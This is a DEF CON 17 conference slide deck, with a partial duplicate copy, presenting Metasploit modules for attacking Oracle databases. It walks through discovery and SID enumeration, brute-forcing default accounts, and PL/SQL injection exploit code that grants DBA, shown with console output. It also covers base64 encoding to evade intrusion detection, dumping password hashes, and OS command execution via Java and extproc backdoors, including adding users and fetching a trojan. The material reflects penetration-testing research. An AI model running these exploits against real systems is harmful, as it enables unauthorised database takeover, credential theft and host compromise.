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Attacking Oracle
      with the
Metasploit Framework
       defcon 17
Who Are We?
Chris Gates
 <cg [@] metasploit.com>
What pays the bills
 Pentester/Security Consultant
Security Blogger
 http://carnal0wnage.attackresearch.com
Security Twit
 Carnal0wnage
Want more?
 Chris Gates + carnal0wnage + maltego 
Who Are We?
Mario Ceballos
<mc [@] metasploit.com>
What do I do?
Vulnerability Research/Exploit Development.
Metasploit Framework Developer.
  Focus is on auxiliary and exploit modules.
Pentesting for some company.
Disclaimer
Why Oracle?
Why the focus on Oracle?
 Been on lots of pentests & seen lots of potential
  targets.
 The Oracle business model allows for free
  downloads of products, but you pay for updates. The
  result is tons of potential shells.
 Privilege escalation and data theft is pretty easy,
  but shells are always better.
Why Oracle?
Why the focus on Oracle?
 Some support is provided by the commercial attack
  frameworks, but really don’t have much coverage for
  non-memory corruption vulns.
 Other tools that target Oracle.
  Inguma
  Orasploit (not public)
  Pangolin (if you want to give your hard earned shell back to
   .cn)
  A few free commercial products focused on vulnerability
   assessment rather than exploitation.
Current Metasploit Support
Some support for Oracle is already provided.
 Exploit modules.
  Handful of memory corruption modules that target earlier
   versions of Oracle and some of its other applications.
 Auxiliary modules.
  Handful of modules that assist in discovering the SID,
   identifying the version, sql injection (file-format), post
   exploitation, and a ntlm stealer.
New Metasploit Support
Introduction of a TNS Mixin.
 Handles a basic TNS packet structure.
  "(CONNECT_DATA=(COMMAND=#{command}))”
  Used for some of our auxiliary modules.
  Used for our TNS exploits.
Introduction of a ORACLE Mixin.
 Handles our direct database access.
 Dependencies:
  Oracle Instant Client.
  ruby-dbi.
  ruby-oci8.
 http://trac.metasploit.com/wiki/OracleUsage
New Metasploit Support (cont.)
Introduction of a ORACLE Mixin.
 Exposes a few methods.
  connect()
   Establishes a database handle.
  disconnect()
   Disconnect all database handles.
  preprare_exec()
   Prepares a statement then executes it.
New Metasploit Support (cont.)
Introduction of a ORACLE Mixin.
  Really makes things simple.

msf auxiliary(sql) > set SQL "select * from global_name"
SQL => select * from global_name
msf auxiliary(sql) > run

[*] Sending SQL...
[*] ORCL.REGRESS.RDBMS.DEV.US.ORACLE.COM
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
Oracle Attack Methodology
We need 4 things to connect to an Oracle DB.
 IP.
 Port.
 Service Identifier (SID).
 Username/Password.
Oracle Attack Methodology
Locate Oracle Systems.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Locate Oracle Systems
Nmap.
Information Disclosure Vulns.
Google.
Locate Oracle Systems
 Nmap.
   Look for common oracle ports 1521-1540,1158,5560
   cg@attack:~$ nmap -sV 192.168.0.100 -p 1521
Starting Nmap 4.90RC1 ( http://nmap.org )
Interesting ports on 192.168.0.100:

PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS Listener 10.2.0.1.0 (for 32-bit
Windows)
Locate Oracle Systems
Google.
Google dorks to locate Oracle systems.
     intitle:iSQL intitle:Release inurl:isqlplus intitle:10.1
     inurl:pls/portal
     "Index of" "Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12
     www.red-database-security.com/wp/google_oracle_hacking_us.pdf
Yahoo dorks? to locate Oracle systems.
     intitle:iSQL intitle:Release inurl:isqlplus
     inurl:pls/portal
     “Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12
     www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf
Locate Oracle Systems
Sometimes they come pre-0wned. 
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via PL/SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
 Determine Oracle Version.
     tns_packet(“(CONNECT_DATA=(COMMAND=VERSION))”)
msf auxiliary(tnslsnr_version) > set RHOSTS 172.10.1.107-172.10.1.110
RHOSTS => 172.10.1.107-172.10.1.110
msf auxiliary(tnslsnr_version) > run
[*] Host 172.10.1.107 is running: Solaris: Version 9.2.0.1.0 – Production
[*] Host 172.10.1.108 is running: Linux: Version 11.1.0.6.0 - Production
[*] Host 172.10.1.109 is running: 32-bit Windows: Version 10.2.0.1.0 - Production
[*] Auxiliary module execution completed
msf auxiliary(tnslsnr_version) > db_notes
[*] Time: Fri May 29 16:09:41 -0500 2009 Note: host=172.10.1.107 type=VERSION Solaris:
Version 9.2.0.1.0 – Production
…
[*] Time: Fri May 29 16:09:44 -0500 2009 Note: host=172.10.1.109 type=VERSION data=32-
bit Windows: Version 10.2.0.1.0 - Production
msf auxiliary(tnslsnr_version) >
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Determine Oracle Service Identifier (SID).
   tns_packet(“(CONNECT_DATA=(COMMAND=STATUS))”)
   By querying the TNS Listener directly, brute force for
    default SID's or query other components that may
    contain it.
 msf auxiliary(sid_enum) > run
 [*] Identified SID for 172.10.1.107: PLSExtProc
 [*] Identified SID for 172.10.1.107 : acms
 [*] Identified SERVICE_NAME for 172.10.1.107 : PLSExtProc
 [*] Identified SERVICE_NAME for 172.10.1.107 : acms
 [*] Auxiliary module execution completed
 msf auxiliary(sid_enum) > run
 [-] TNS listener protected for 172.10.1.109...
 [*] Auxiliary module execution completed
Oracle Attack Methodology
Determine Oracle SID.
 By quering the TNS Listener directly, brute force for
  default SID's or query other components that may
  contain it.
msf auxiliary(sid_brute) > run

[*] Starting brute force on 172.10.1.109, using sids
from /home/cg/evil/msf3/dev/data/exploits/sid.txt...
[*] Found SID 'ORCL' for host 172.10.1.109.

[*] Auxiliary module execution completed
Oracle Attack Methodology
Determine Oracle SID.
 By quering the TNS Listener directly, brute force for
  default SID's or query other components that may
  contain it.
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed

msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid
msf auxiliary(spy_sid) > run
[*] Discovered SID: ‘orcl' for host 172.10.1.108
[*] Auxiliary module execution completed
msf auxiliary(spy_sid) >
Oracle Attack Methodology
Determine Oracle SID.
 Enterprise Manger Console.
Oracle Attack Methodology
Determine Oracle SID.
 Enterprise Manager Console.
 Query other components that may contain it.

msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/oas_sid
msf auxiliary(oas_sid) > run
[*] Discovered SID: ‘orcl' for host 172.10.1.109
[*] Auxiliary module execution completed
msf auxiliary(oas_sid) >
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Determine Oracle Username/Password.
 Brute Force For Known Default Accounts.
msf auxiliary(login_brute) > set SID ORCL
SID => ORCL
msf auxiliary(login_brute) > run
.
[-] ORA-01017: invalid username/password; logon denied
[-] ORA-01017: invalid username/password; logon denied
[*] Auxiliary module execution completed
msf auxiliary(login_brute) > db_notes
[*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109
type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Privilege Escalation via SQL Injection.

SQL Injection in default Oracle packages.
 A good chunk of it executable by public! 
 Regular SQLI requires CREATE PROCEDURE privilege
  which most default accounts possess.
 Cursor SQLI only requires CREATE SESSION privilege.
Privilege Escalation
The code.
def initialize(info = {})super(update_info(info,
'Name'         => 'SQL Injection via SYS.LT.FINDRICSET.',
'Description' => %q{snip...
'Author'       => [ 'MC' ],
'License'      => MSF_LICENSE,
'Version'      => '$Revision:$',
'References' =>[ [ 'BID', '26098' ],],
'DisclosureDate' => 'Oct 17 2007'))
register_options( [
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to
#{datastore['DBUSER']}"]),], self.class)
Privilege Escalation
The code.
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function =
"CREATE OR REPLACE FUNCTION #{name} RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL'].upcase}'; COMMIT;
RETURN(0);
END;"
Privilege Escalation
The code.
package ="BEGIN
     SYS.LT.FINDRICSET('.'' #{datastore
['DBUSER']}.#{name}||'''')--','');            END;"
clean = "DROP FUNCTION #{name}"
....
print_status("Sending first function...")
prepare_exec(function)
print_status("Attempting sql injection on SYS.LT.FINDRICSET...")
prepare_exec(package)
print_status("Removing function '#{name}'...")
prepare_exec(clean)
....
Privilege Escalation
The set-up.
msf auxiliary(lt_findricset) > set RHOST 172.10.1.109
RHOST => 172.10.1.109
msf auxiliary(lt_findricset) > set RPORT 1521
RPORT => 1521
msf auxiliary(lt_findricset) > set DBUSER SCOTT
DBUSER => SCOTT
msf auxiliary(lt_findricset) > set DBPASS TIGER
DBPASS => TIGER
msf auxiliary(lt_findricset) > set SID ORCL
SID => ORACLE
msf auxiliary(lt_findricset) > set SQL GRANT DBA TO SCOTT
SQL => GRANT DBA TO SCOTT
Privilege Escalation
Attacking SYS.LT.FINDRICSET.
msf auxiliary(lt_findricset) > set SQL "grant dba to scott"
SQL => grant dba to scott
msf auxiliary(lt_findricset) > run

[*] Sending first function...
[*] Done...
[*] Attempting sql injection on SYS.LT.FINDRICSET...
[*] Done...
[*] Removing function 'NBVFICZ'...
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(lt_findricset) >
Privilege Escalation
Success?
 Before Injection.
SQL => select * from user_role_privs
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SCOTT,CONNECT,NO,YES,NO
[*] SCOTT,RESOURCE,NO,YES,NO
 After Injection.
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SCOTT,CONNECT,NO,YES,NO
[*] SCOTT,DBA,NO,YES,NO
[*] SCOTT,RESOURCE,NO,YES,NO
Privilege Escalation
Which works, but...
Privilege Escalation
  This Can Be Solved By Implementing Some
   Basic Evasion.
                 dos = Rex::Text.encode_base64(package)
  Which Is Then Decoded On The Remote Side.
DECLARE
#{rand2} VARCHAR2(32767);
BEGIN
#{rand2} :=
utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2}; END;
Privilege Escalation
We Bypass The NIDS, But Not So Much The HIPS
Privilege Escalation
At least not with that exploit!
"select sys.dbms_metadata.get_xml('''||#{datastore['DBUSER']}.#{name}()||''','') from dual"
Privilege Escalation Exploits
Initial Coverage.
  lt_findricset.rb          CVE-2007-5511
  lt_findricset_cursor.rb   CVE-2007-5511
  dbms_metadata_open.rb     CVE-2006-0260
  dbms_cdc_ipublish.rb      CVE-2008-3996
  dbms_cdc_publish.rb       CVE-2008-3995
  lt_rollbackworkspace.rb   CVE-2009-0978
  lt_compressworkspace.rb   CVE-2008-3982
  lt_mergeworkspace.rb      CVE-2008-3983
  lt_removeworkspace.rb     CVE-2008-3984
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Post Exploitation
If all I want is the Data after SQLI to DBA we are
 probably done.
  sql.rb to run SQL commands.
msf auxiliary(sql) > set SQL "select username,password,account_status from
    dba_users”
SQL => select username,password,account_status from dba_users
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SYS,7087B7E95718C0CC,OPEN
[*] SYSTEM,66DC0F914CDD83F3,OPEN
[*] DBSNMP,E066D214D5421CCC,OPEN
[*] SCOTT,F894844C34402B67,OPEN
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
Post Exploitation
Data is nice, but shells are better 
 Several published methods for running OS
  commands via oracle libraries.
   Via Java.
   Extproc backdoors.
   Dbms_Scheduler.
   Run custom pl/sql or java.
Post Exploitation
Win32Exec
 Grant user JAVASYSPRIVS using sql.rb.
 Run win32exec.rb to run system commands.
 Examples
     Net User Add
     TFTP get trojan.exe → execute trojan.exe
     FTP Batch Scripts
     Net User Add → metasploit psexec exploit
 Ref: http://0xdeadbeef.info/exploits/raptor_oraexec.sql
 Ref: Oracle Hacker’s Handbook
Post Exploitation
Win32Exec

msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd1234
   /add“
CMD => net user dba P@ssW0rd1234 /add
msf auxiliary(win32exec) > run
[*] Creating MSF JAVA class...
[*] Done...
[*] Creating MSF procedure...
[*] Done...
[*] Sending command: 'net user dba P@ssW0rd1234 /add‘
[*] Done...
[*] Auxiliary module execution completed
Post Exploitation
nixExec
  To be released later.
Post Exploitation
FTP Upload
    Echo over FTP batch script via UTL_FILE, use
     DBMS_Scheduler to run the script and execute the
     malware.
    Demo Video at:
      http://vimeo.com/2704188

 Ref: Red Database Security
    Ref: http://www.red-database-security.com/wp/oracle_cheat.pdf
Post Exploitation
Perl Backdoor
    Oracle installs perl with every install.
    Use UTL_FILE to echo over perl shell line by line.
    Use one of the other tools to execute perl shell.
    Easy to use with *nix

 Ref: Red Database Security
Post Exploitation
Extproc Backdoor via directory traversal.
   Allows you to call libraries outside of
    oracle root.
  Nix and win32.
  CVE 2004-1364
        9.0.1.1 – 9.0.1.5
        9.2.0.1 – 9.2.0.5
        10.1.0.2
 Ref: http://0xdeadbeef.info/exploits/raptor_oraextproc.sql
Post Exploitation
Extproc Backdoor via directory traversal.
msf auxiliary(extproc_backdoor_traversal) > set CMD “net user
   metasploit metasploit /add”
CMD => net user metasploit metasploit /add
msf auxiliary(extproc_backdoor_traversal) > run
[*] Setting up extra required permissions
[*] Done...
[*] Set msvcrt.dll location to
   C:oracleora92bin../../../Windowssystem32msvcrt.dll
[*] Done...
[*] Setting extproc backdoor
[*] Running command net user metasploit metasploit /add
[*] Done…
[*] Auxiliary module execution complete
Post Exploitation

Extproc Backdoor via directory traversal.
Post Exploitation
Extproc Backdoor via copy dll.
    “newer” versions will allow you to just copy over
    the dll into the %ORACLE_HOME%bin directory.
CREATE OR REPLACE DIRECTORY copy_dll_from AS 'C:Windowssystem32';
CREATE OR REPLACE DIRECTORY copy_dll_to AS
  'C:Oracleproduct10.1.0db_1BIN';
…
CREATE OR REPLACE LIBRARY extproc_shell AS
  'C:Oracleproduct10.1.0db_1binmsvcrt.dll'; /
    Works on newer Oracle 10g/11g.
 Ref: Digital Security Research Group
 Ref: http://milw0rm.org/exploits/7675
Post Exploitation
Win32upload
 Grant user JAVASYSPRIVS using sql.rb.
 Run win32upload.rb to download binary from a remote
  webserver
 Run win32exec.rb to execute the binary

 Ref: Argeniss Advanced SQL Injection in Oracle Databases (Black Hat USA 2005)
 Ref: http://www.argeniss.com/research/OracleSQLInjBHUSA05.zip
Post Exploitation
DBMS_Schedule Backdoor
  Run OS commands via DBMS_Scheduler.
  Module written by Alexandr Polyakov of Digital
   Security Research Group.
  Will be added to svn soon.
Post Exploitation
Oracle NTLM Stealer
   Oracle running as admin user not SYSTEM.
   Have Oracle connect back to MSF, grab halfLM
    challenge or perform SMB Relay attack.
   Module writers did a great write up on using the
    module and when it would be useful.
 http://www.dsecrg.com/files/pub/pdf/Penetration_from_application_down_t
  o _OS_(Oracle%20database).pdf
Breaking Other Oracle Apps
Oracle Application Server CGI/Vulnerable URL
 scanner
     oas_cgi.rb
msf auxiliary(oas_cgi) > run

   [*] /em/console/logon/logon
   [*] /em/dynamicImage/emSDK/chart/EmChartBean
   [*] /servlet/DMSDump
   [*]/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-
   INF/config/soapConfig.xml
   [*] /servlet/Spy
   [*] Auxiliary module execution completed
The Way Ahead
Exploits For Vulnerable Packages.
  [*] ORA-03135: connection lost contact
PROCEDURE DELETE_REFRESH_OPERATIONS
Argument Name                   Type                      In/Out Default?
------------------------------  -----------------------   ------ --------
SNAP_OWNER                       VARCHAR2                 IN
SNAP_NAME                        VARCHAR2                 IN

sploit = rand_text_alpha_upper(576) + "BBBB" + "AAAA" + "xcc" * 500

sql = %Q|BEGIN
          SYS.DBMS_SNAP_INTERNAL.DELETE_REFRESH_OPERATIONS('MSF', '#{sploit}');
         END;
        |

0:032> !exchain
074fc408: 41414141
Invalid exception stack at 42424242
DEMO
THANKS!
Questions?
THANKS!
HDM, Richard Evans, JMG, !LSO, Sh2kerr, Rory McCune

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Attacking Oracle with the Metasploit Framework

  • 1. Attacking Oracle with the Metasploit Framework defcon 17
  • 2. Who Are We? Chris Gates <cg [@] metasploit.com> What pays the bills Pentester/Security Consultant Security Blogger http://carnal0wnage.attackresearch.com Security Twit Carnal0wnage Want more? Chris Gates + carnal0wnage + maltego 
  • 3. Who Are We? Mario Ceballos <mc [@] metasploit.com> What do I do? Vulnerability Research/Exploit Development. Metasploit Framework Developer. Focus is on auxiliary and exploit modules. Pentesting for some company.
  • 5. Why Oracle? Why the focus on Oracle? Been on lots of pentests & seen lots of potential targets. The Oracle business model allows for free downloads of products, but you pay for updates. The result is tons of potential shells. Privilege escalation and data theft is pretty easy, but shells are always better.
  • 6. Why Oracle? Why the focus on Oracle? Some support is provided by the commercial attack frameworks, but really don’t have much coverage for non-memory corruption vulns. Other tools that target Oracle. Inguma Orasploit (not public) Pangolin (if you want to give your hard earned shell back to .cn) A few free commercial products focused on vulnerability assessment rather than exploitation.
  • 7. Current Metasploit Support Some support for Oracle is already provided. Exploit modules. Handful of memory corruption modules that target earlier versions of Oracle and some of its other applications. Auxiliary modules. Handful of modules that assist in discovering the SID, identifying the version, sql injection (file-format), post exploitation, and a ntlm stealer.
  • 8. New Metasploit Support Introduction of a TNS Mixin. Handles a basic TNS packet structure. "(CONNECT_DATA=(COMMAND=#{command}))” Used for some of our auxiliary modules. Used for our TNS exploits. Introduction of a ORACLE Mixin. Handles our direct database access. Dependencies: Oracle Instant Client. ruby-dbi. ruby-oci8. http://trac.metasploit.com/wiki/OracleUsage
  • 9. New Metasploit Support (cont.) Introduction of a ORACLE Mixin. Exposes a few methods. connect() Establishes a database handle. disconnect() Disconnect all database handles. preprare_exec() Prepares a statement then executes it.
  • 10. New Metasploit Support (cont.) Introduction of a ORACLE Mixin. Really makes things simple. msf auxiliary(sql) > set SQL "select * from global_name" SQL => select * from global_name msf auxiliary(sql) > run [*] Sending SQL... [*] ORCL.REGRESS.RDBMS.DEV.US.ORACLE.COM [*] Done... [*] Auxiliary module execution completed msf auxiliary(sql) >
  • 11. Oracle Attack Methodology We need 4 things to connect to an Oracle DB. IP. Port. Service Identifier (SID). Username/Password.
  • 12. Oracle Attack Methodology Locate Oracle Systems. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 13. Oracle Attack Methodology Locate Oracle Systems Nmap. Information Disclosure Vulns. Google.
  • 14. Locate Oracle Systems Nmap. Look for common oracle ports 1521-1540,1158,5560 cg@attack:~$ nmap -sV 192.168.0.100 -p 1521 Starting Nmap 4.90RC1 ( http://nmap.org ) Interesting ports on 192.168.0.100: PORT STATE SERVICE VERSION 1521/tcp open oracle-tns Oracle TNS Listener 10.2.0.1.0 (for 32-bit Windows)
  • 15. Locate Oracle Systems Google. Google dorks to locate Oracle systems. intitle:iSQL intitle:Release inurl:isqlplus intitle:10.1 inurl:pls/portal "Index of" "Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12 www.red-database-security.com/wp/google_oracle_hacking_us.pdf Yahoo dorks? to locate Oracle systems. intitle:iSQL intitle:Release inurl:isqlplus inurl:pls/portal “Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12 www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf
  • 16. Locate Oracle Systems Sometimes they come pre-0wned. 
  • 17. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via PL/SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 18. Oracle Attack Methodology Determine Oracle Version. tns_packet(“(CONNECT_DATA=(COMMAND=VERSION))”) msf auxiliary(tnslsnr_version) > set RHOSTS 172.10.1.107-172.10.1.110 RHOSTS => 172.10.1.107-172.10.1.110 msf auxiliary(tnslsnr_version) > run [*] Host 172.10.1.107 is running: Solaris: Version 9.2.0.1.0 – Production [*] Host 172.10.1.108 is running: Linux: Version 11.1.0.6.0 - Production [*] Host 172.10.1.109 is running: 32-bit Windows: Version 10.2.0.1.0 - Production [*] Auxiliary module execution completed msf auxiliary(tnslsnr_version) > db_notes [*] Time: Fri May 29 16:09:41 -0500 2009 Note: host=172.10.1.107 type=VERSION Solaris: Version 9.2.0.1.0 – Production … [*] Time: Fri May 29 16:09:44 -0500 2009 Note: host=172.10.1.109 type=VERSION data=32- bit Windows: Version 10.2.0.1.0 - Production msf auxiliary(tnslsnr_version) >
  • 19. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 20. Oracle Attack Methodology Determine Oracle Service Identifier (SID). tns_packet(“(CONNECT_DATA=(COMMAND=STATUS))”) By querying the TNS Listener directly, brute force for default SID's or query other components that may contain it. msf auxiliary(sid_enum) > run [*] Identified SID for 172.10.1.107: PLSExtProc [*] Identified SID for 172.10.1.107 : acms [*] Identified SERVICE_NAME for 172.10.1.107 : PLSExtProc [*] Identified SERVICE_NAME for 172.10.1.107 : acms [*] Auxiliary module execution completed msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.109... [*] Auxiliary module execution completed
  • 21. Oracle Attack Methodology Determine Oracle SID. By quering the TNS Listener directly, brute force for default SID's or query other components that may contain it. msf auxiliary(sid_brute) > run [*] Starting brute force on 172.10.1.109, using sids from /home/cg/evil/msf3/dev/data/exploits/sid.txt... [*] Found SID 'ORCL' for host 172.10.1.109. [*] Auxiliary module execution completed
  • 22. Oracle Attack Methodology Determine Oracle SID. By quering the TNS Listener directly, brute force for default SID's or query other components that may contain it. msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.108... [*] Auxiliary module execution completed msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid msf auxiliary(spy_sid) > run [*] Discovered SID: ‘orcl' for host 172.10.1.108 [*] Auxiliary module execution completed msf auxiliary(spy_sid) >
  • 23. Oracle Attack Methodology Determine Oracle SID. Enterprise Manger Console.
  • 24. Oracle Attack Methodology Determine Oracle SID. Enterprise Manager Console. Query other components that may contain it. msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.108... [*] Auxiliary module execution completed msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/oas_sid msf auxiliary(oas_sid) > run [*] Discovered SID: ‘orcl' for host 172.10.1.109 [*] Auxiliary module execution completed msf auxiliary(oas_sid) >
  • 25. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 26. Oracle Attack Methodology Determine Oracle Username/Password. Brute Force For Known Default Accounts. msf auxiliary(login_brute) > set SID ORCL SID => ORCL msf auxiliary(login_brute) > run . [-] ORA-01017: invalid username/password; logon denied [-] ORA-01017: invalid username/password; logon denied [*] Auxiliary module execution completed msf auxiliary(login_brute) > db_notes [*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109 type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER
  • 27. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 28. Oracle Attack Methodology Privilege Escalation via SQL Injection. SQL Injection in default Oracle packages. A good chunk of it executable by public!  Regular SQLI requires CREATE PROCEDURE privilege which most default accounts possess. Cursor SQLI only requires CREATE SESSION privilege.
  • 29. Privilege Escalation The code. def initialize(info = {})super(update_info(info, 'Name' => 'SQL Injection via SYS.LT.FINDRICSET.', 'Description' => %q{snip... 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision:$', 'References' =>[ [ 'BID', '26098' ],], 'DisclosureDate' => 'Oct 17 2007')) register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),], self.class)
  • 30. Privilege Escalation The code. name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) function = "CREATE OR REPLACE FUNCTION #{name} RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '#{datastore['SQL'].upcase}'; COMMIT; RETURN(0); END;"
  • 31. Privilege Escalation The code. package ="BEGIN SYS.LT.FINDRICSET('.'' #{datastore ['DBUSER']}.#{name}||'''')--',''); END;" clean = "DROP FUNCTION #{name}" .... print_status("Sending first function...") prepare_exec(function) print_status("Attempting sql injection on SYS.LT.FINDRICSET...") prepare_exec(package) print_status("Removing function '#{name}'...") prepare_exec(clean) ....
  • 32. Privilege Escalation The set-up. msf auxiliary(lt_findricset) > set RHOST 172.10.1.109 RHOST => 172.10.1.109 msf auxiliary(lt_findricset) > set RPORT 1521 RPORT => 1521 msf auxiliary(lt_findricset) > set DBUSER SCOTT DBUSER => SCOTT msf auxiliary(lt_findricset) > set DBPASS TIGER DBPASS => TIGER msf auxiliary(lt_findricset) > set SID ORCL SID => ORACLE msf auxiliary(lt_findricset) > set SQL GRANT DBA TO SCOTT SQL => GRANT DBA TO SCOTT
  • 33. Privilege Escalation Attacking SYS.LT.FINDRICSET. msf auxiliary(lt_findricset) > set SQL "grant dba to scott" SQL => grant dba to scott msf auxiliary(lt_findricset) > run [*] Sending first function... [*] Done... [*] Attempting sql injection on SYS.LT.FINDRICSET... [*] Done... [*] Removing function 'NBVFICZ'... [*] Done... [*] Auxiliary module execution completed msf auxiliary(lt_findricset) >
  • 34. Privilege Escalation Success? Before Injection. SQL => select * from user_role_privs msf auxiliary(sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,RESOURCE,NO,YES,NO After Injection. msf auxiliary(sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,DBA,NO,YES,NO [*] SCOTT,RESOURCE,NO,YES,NO
  • 36. Privilege Escalation This Can Be Solved By Implementing Some Basic Evasion. dos = Rex::Text.encode_base64(package) Which Is Then Decoded On The Remote Side. DECLARE #{rand2} VARCHAR2(32767); BEGIN #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}'))); EXECUTE IMMEDIATE #{rand2}; END;
  • 37. Privilege Escalation We Bypass The NIDS, But Not So Much The HIPS
  • 38. Privilege Escalation At least not with that exploit! "select sys.dbms_metadata.get_xml('''||#{datastore['DBUSER']}.#{name}()||''','') from dual"
  • 39. Privilege Escalation Exploits Initial Coverage. lt_findricset.rb CVE-2007-5511 lt_findricset_cursor.rb CVE-2007-5511 dbms_metadata_open.rb CVE-2006-0260 dbms_cdc_ipublish.rb CVE-2008-3996 dbms_cdc_publish.rb CVE-2008-3995 lt_rollbackworkspace.rb CVE-2009-0978 lt_compressworkspace.rb CVE-2008-3982 lt_mergeworkspace.rb CVE-2008-3983 lt_removeworkspace.rb CVE-2008-3984
  • 40. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 41. Post Exploitation If all I want is the Data after SQLI to DBA we are probably done. sql.rb to run SQL commands. msf auxiliary(sql) > set SQL "select username,password,account_status from dba_users” SQL => select username,password,account_status from dba_users msf auxiliary(sql) > run [*] Sending SQL... [*] SYS,7087B7E95718C0CC,OPEN [*] SYSTEM,66DC0F914CDD83F3,OPEN [*] DBSNMP,E066D214D5421CCC,OPEN [*] SCOTT,F894844C34402B67,OPEN [*] Done... [*] Auxiliary module execution completed msf auxiliary(sql) >
  • 42. Post Exploitation Data is nice, but shells are better  Several published methods for running OS commands via oracle libraries. Via Java. Extproc backdoors. Dbms_Scheduler. Run custom pl/sql or java.
  • 43. Post Exploitation Win32Exec Grant user JAVASYSPRIVS using sql.rb. Run win32exec.rb to run system commands. Examples Net User Add TFTP get trojan.exe → execute trojan.exe FTP Batch Scripts Net User Add → metasploit psexec exploit  Ref: http://0xdeadbeef.info/exploits/raptor_oraexec.sql  Ref: Oracle Hacker’s Handbook
  • 44. Post Exploitation Win32Exec msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd1234 /add“ CMD => net user dba P@ssW0rd1234 /add msf auxiliary(win32exec) > run [*] Creating MSF JAVA class... [*] Done... [*] Creating MSF procedure... [*] Done... [*] Sending command: 'net user dba P@ssW0rd1234 /add‘ [*] Done... [*] Auxiliary module execution completed
  • 45. Post Exploitation nixExec To be released later.
